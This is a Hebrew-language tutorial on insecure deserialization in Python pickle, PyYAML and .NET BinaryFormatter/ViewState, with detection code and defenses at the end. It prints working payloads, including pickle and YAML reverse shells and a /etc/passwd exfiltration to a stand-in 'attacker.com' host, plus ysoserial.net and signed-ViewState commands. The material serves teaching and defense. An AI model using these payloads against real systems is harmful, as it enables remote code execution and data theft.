דסריאליזציה מתקדמת - Python ו-NET¶
חלק א - Python Pickle¶
כיצד Pickle עובד¶
המודול pickle ב-Python מאפשר לסרלז ולדסרלז אובייקטים. הוא תומך כמעט בכל סוג אובייקט ב-Python, כולל מחלקות מותאמות.
import pickle
# סריאליזציה
data = {"user": "admin", "role": "viewer"}
serialized = pickle.dumps(data)
print(serialized)
# b'\x80\x04\x95\x1f\x00\x00\x00...'
# דסריאליזציה
restored = pickle.loads(serialized)
print(restored)
# {'user': 'admin', 'role': 'viewer'}
המתודה reduce - שורש הבעיה¶
כש-Python מבצעת דסריאליזציה, היא קוראת למתודה __reduce__() של האובייקט. מתודה זו מחזירה tuple שאומר ל-Python איך לבנות מחדש את האובייקט. תוקף יכול לנצל זאת כדי להריץ קוד:
import pickle
import os
class MaliciousObject:
def __reduce__(self):
# __reduce__ מחזיר tuple של (callable, args)
# Python תקרא ל-callable עם args בזמן דסריאליזציה
return (os.system, ("id",))
# יצירת payload
payload = pickle.dumps(MaliciousObject())
print(payload)
# כשמישהו מבצע דסריאליזציה - הפקודה תורץ
pickle.loads(payload)
# uid=1000(attacker) gid=1000(attacker)
בניית Payloads מתקדמים¶
import pickle
import base64
# Payload 1: Reverse Shell
class ReverseShell:
def __reduce__(self):
import os
return (os.system, (
"python3 -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"attacker.com\",4444));"
"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"])'",
))
payload = base64.b64encode(pickle.dumps(ReverseShell()))
print(f"Reverse Shell payload: {payload.decode()}")
# Payload 2: קריאת קובץ ושליחה לשרת חיצוני
class FileExfiltrator:
def __reduce__(self):
return (eval, (
"__import__('urllib.request').request.urlopen("
"'http://attacker.com/exfil?data='"
"+__import__('base64').b64encode("
"open('/etc/passwd','rb').read()).decode())",
))
payload = base64.b64encode(pickle.dumps(FileExfiltrator()))
print(f"Exfiltration payload: {payload.decode()}")
# Payload 3: שימוש ב-subprocess (יותר אמין מ-os.system)
class SubprocessRCE:
def __reduce__(self):
import subprocess
return (subprocess.check_output, (["whoami"],))
payload = base64.b64encode(pickle.dumps(SubprocessRCE()))
print(f"Subprocess payload: {payload.decode()}")
היכן Pickle נמצא בשימוש¶
# 1. Flask Sessions - אם ה-SECRET_KEY נפרץ
# Flask משתמש ב-itsdangerous שמבוסס על pickle
from flask import Flask, session
app = Flask(__name__)
app.secret_key = "weak_key" # אם התוקף יודע את המפתח
# 2. Redis/Memcached caching
import redis
r = redis.Redis()
r.set("user_session", pickle.dumps(user_data)) # פגיע!
user_data = pickle.loads(r.get("user_session")) # מסוכן!
# 3. Message Queues (Celery, RabbitMQ)
# Celery משתמש ב-pickle כ-serializer ברירת מחדל
from celery import Celery
app = Celery('tasks')
app.conf.update(
task_serializer='pickle', # מסוכן!
accept_content=['pickle'],
)
# 4. NumPy/Pandas save/load
import numpy as np
np.save("data.npy", array) # משתמש ב-pickle
np.load("data.npy", allow_pickle=True) # מסוכן!
# 5. Machine Learning models
import joblib
joblib.dump(model, "model.pkl") # pickle
model = joblib.load("model.pkl") # מסוכן!
דוגמה לאפליקציה פגיעה¶
from flask import Flask, request
import pickle
import base64
app = Flask(__name__)
@app.route('/profile', methods=['POST'])
def update_profile():
# קבלת נתונים מסורלזים מהמשתמש - פגיע!
data = base64.b64decode(request.form.get('data'))
profile = pickle.loads(data) # RCE!
return f"Updated profile for {profile.get('name')}"
חלק ב - YAML דסריאליזציה¶
הבעיה עם yaml.load()¶
ספריית PyYAML תומכת ב-tags מיוחדים שמאפשרים ליצור אובייקטים של Python:
import yaml
# שימוש מסוכן
data = yaml.load(user_input) # פגיע!
# שימוש בטוח
data = yaml.safe_load(user_input) # בטוח
Payloads של YAML RCE¶
# Payload 1: הרצת פקודה עם os.system
!!python/object/apply:os.system
- "id"
# Payload 2: שימוש ב-subprocess
!!python/object/apply:subprocess.check_output
- - "whoami"
# Payload 3: קריאת קובץ
!!python/object/apply:builtins.eval
- "__import__('os').popen('cat /etc/passwd').read()"
# Payload 4: Reverse shell
!!python/object/apply:os.system
- "python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"
# Payload 5: שימוש ב-map ו-apply
!!python/object/new:str
state:
!!python/tuple
- "__import__('os').system('id')"
- !!python/object/apply:builtins.eval []
דוגמה לאפליקציה פגיעה¶
from flask import Flask, request
import yaml
app = Flask(__name__)
@app.route('/config', methods=['POST'])
def update_config():
config_yaml = request.form.get('config')
# שימוש ב-yaml.load ללא Loader - פגיע!
config = yaml.load(config_yaml)
return f"Config updated: {config}"
ניצול¶
import requests
target = "http://vulnerable-app.com/config"
payload = '!!python/object/apply:os.system ["id"]'
response = requests.post(target, data={"config": payload})
print(response.text)
חלק ג - NET BinaryFormatter¶
סקירת סריאליזציה ב-NET¶
ב-.NET קיימים מספר מנגנוני סריאליזציה, חלקם מסוכנים:
מסוכנים (ניתנים לניצול):
- BinaryFormatter
- SoapFormatter
- ObjectStateFormatter
- NetDataContractSerializer
- LosFormatter
בטוחים יותר:
- DataContractSerializer (עם הגבלות)
- XmlSerializer (עם הגבלות)
- JSON.NET (עם הגדרות נכונות)
BinaryFormatter - הפגיע ביותר¶
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
// סריאליזציה
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream stream = new MemoryStream();
formatter.Serialize(stream, myObject);
byte[] data = stream.ToArray();
// דסריאליזציה - מסוכן!
MemoryStream stream = new MemoryStream(data);
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream); // RCE!
הכלי ysoserial.net¶
# הורדה
# https://github.com/pwntester/ysoserial.net/releases
# שרשראות נפוצות
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "cmd /c whoami"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "powershell -e BASE64_PAYLOAD"
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "ping attacker.com"
# פורמטים שונים
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -c "calc.exe"
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"
שרשראות עיקריות¶
TypeConfuseDelegate - שרשרת אוניברסלית:
SortedSet<string>.readObject()
--> Comparer.Compare()
--> MulticastDelegate.DynamicInvoke()
--> Process.Start("cmd.exe", "/c command")
ObjectDataProvider - שרשרת דרך WPF:
ObjectDataProvider.MethodName = "Start"
ObjectDataProvider.MethodParameters = ["cmd.exe", "/c command"]
ObjectDataProvider.ObjectInstance = Process
WindowsIdentity - שרשרת דרך Claims:
WindowsIdentity.readObject()
--> ClaimsIdentity.ReadObject()
--> BinaryFormatter.Deserialize() [nested!]
--> TypeConfuseDelegate chain
חלק ד - NET ViewState¶
מה זה ViewState¶
ב-ASP.NET Web Forms, ה-ViewState הוא מנגנון ששומר את מצב הדף בין בקשות. הנתונים מסורלזים, מקודדים ב-Base64, ומוכנסים ב-hidden field:
ניצול ViewState לא מוצפן¶
אם ה-ViewState לא מוצפן ולא חתום, ניתן להחליף אותו ב-payload זדוני:
# יצירת payload
ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "cmd /c whoami" -o base64
ניצול ViewState עם Machine Key¶
אם יש לנו את ה-Machine Key (מ-web.config), ניתן ליצור ViewState חתום:
<!-- web.config -->
<machineKey
validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
decryptionKey="E9D2490BD0075B51D1BA5288514514AF"
validation="SHA1"
decryption="3DES" />
# יצירת ViewState חתום עם ysoserial.net
ysoserial.exe -p ViewState \
-g TextFormattingRunProperties \
-c "cmd /c powershell -e JABjAGwA..." \
--validationalg="SHA1" \
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" \
--decryptionalg="3DES" \
--decryptionkey="E9D2490BD0075B51D1BA5288514514AF" \
--path="/vulnerable-page.aspx" \
--apppath="/" \
--islegacy
איתור Machine Key¶
# מקומות נפוצים:
# 1. web.config (LFI, גיבויים, Git exposure)
# 2. Machine.config (ברמת השרת)
# 3. IIS configuration
# 4. Hardcoded keys בקוד
# כלים:
# Blacklist3r - בודק Machine Keys ידועים
# https://github.com/NotSoSecure/Blacklist3r
טכניקות זיהוי¶
זיהוי Python Pickle¶
# Magic bytes של pickle protocols
# Protocol 0: תווים קריאים (S'string'\n)
# Protocol 2: \x80\x02
# Protocol 3: \x80\x03
# Protocol 4: \x80\x04
# Protocol 5: \x80\x05
import base64
def detect_pickle(data):
if isinstance(data, str):
try:
data = base64.b64decode(data)
except:
return False
pickle_headers = [b'\x80\x02', b'\x80\x03', b'\x80\x04', b'\x80\x05']
for header in pickle_headers:
if data.startswith(header):
return True
# Protocol 0 - text-based
if data.startswith(b'(') or data.startswith(b'c'):
return True
return False
זיהוי .NET Serialization¶
def detect_dotnet_serialization(data):
if isinstance(data, str):
try:
data = base64.b64decode(data)
except:
return None
# BinaryFormatter magic bytes
if data[:4] == b'\x00\x01\x00\x00':
return "BinaryFormatter"
# SOAP formatter
if b'<SOAP-ENV:Envelope' in data:
return "SoapFormatter"
# ViewState (LosFormatter)
if data[:2] == b'\xff\x01':
return "LosFormatter/ViewState"
return None
זיהוי YAML עם Tags מסוכנים¶
import re
def detect_yaml_injection(yaml_string):
dangerous_patterns = [
r'!!python/object',
r'!!python/object/apply',
r'!!python/object/new',
r'!!python/name',
r'!!python/module',
r'tag:yaml.org,2002:python',
]
for pattern in dangerous_patterns:
if re.search(pattern, yaml_string, re.IGNORECASE):
return True, pattern
return False, None
הגנות¶
Python - הימנעו מ-Pickle¶
# במקום pickle - השתמשו ב-JSON
import json
# סריאליזציה
data = json.dumps({"user": "admin", "role": "viewer"})
# דסריאליזציה
restored = json.loads(data)
# אם חייבים pickle - השתמשו ב-hmac לחתימה
import hmac
import hashlib
SECRET_KEY = b"very-secret-key"
def safe_dumps(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
return sig + "|" + base64.b64encode(data).decode()
def safe_loads(signed_data):
sig, encoded = signed_data.split("|", 1)
data = base64.b64decode(encoded)
expected_sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected_sig):
raise ValueError("Invalid signature!")
return pickle.loads(data)
Python - YAML בטוח¶
import yaml
# תמיד השתמשו ב-safe_load
data = yaml.safe_load(user_input)
# או הגדירו Loader מפורש
data = yaml.load(user_input, Loader=yaml.SafeLoader)
NET - חלופות ל-BinaryFormatter¶
// במקום BinaryFormatter - השתמשו ב-System.Text.Json
using System.Text.Json;
string json = JsonSerializer.Serialize(myObject);
MyClass obj = JsonSerializer.Deserialize<MyClass>(json);
// או DataContractSerializer עם whitelist
using System.Runtime.Serialization;
DataContractSerializer serializer = new DataContractSerializer(
typeof(MyClass),
new DataContractSerializerSettings {
KnownTypes = new[] { typeof(AllowedType1), typeof(AllowedType2) }
}
);
NET - הגנת ViewState¶
<!-- web.config - הפעלת הצפנה וחתימה -->
<system.web>
<pages viewStateEncryptionMode="Always" />
<machineKey
validationKey="AutoGenerate,IsolateApps"
decryptionKey="AutoGenerate,IsolateApps"
validation="HMACSHA256"
decryption="AES" />
</system.web>
סיכום¶
| טכנולוגיה | מנגנון פגיע | Payload | הגנה |
|---|---|---|---|
| Python Pickle | reduce | os.system, subprocess | השתמשו ב-JSON |
| PyYAML | !!python/object tags | os.system דרך YAML | yaml.safe_load() |
| .NET BinaryFormatter | Gadget chains | ysoserial.net | System.Text.Json |
| .NET ViewState | LosFormatter | ysoserial.net -p ViewState | הצפנה + חתימה |
הכלל הזהב: לעולם אל תבצעו דסריאליזציה של מידע שמגיע ממשתמש, בשום שפה ובשום פורמט. אם חייבים - השתמשו בפורמטים בטוחים כמו JSON, ותמיד חתמו את הנתונים.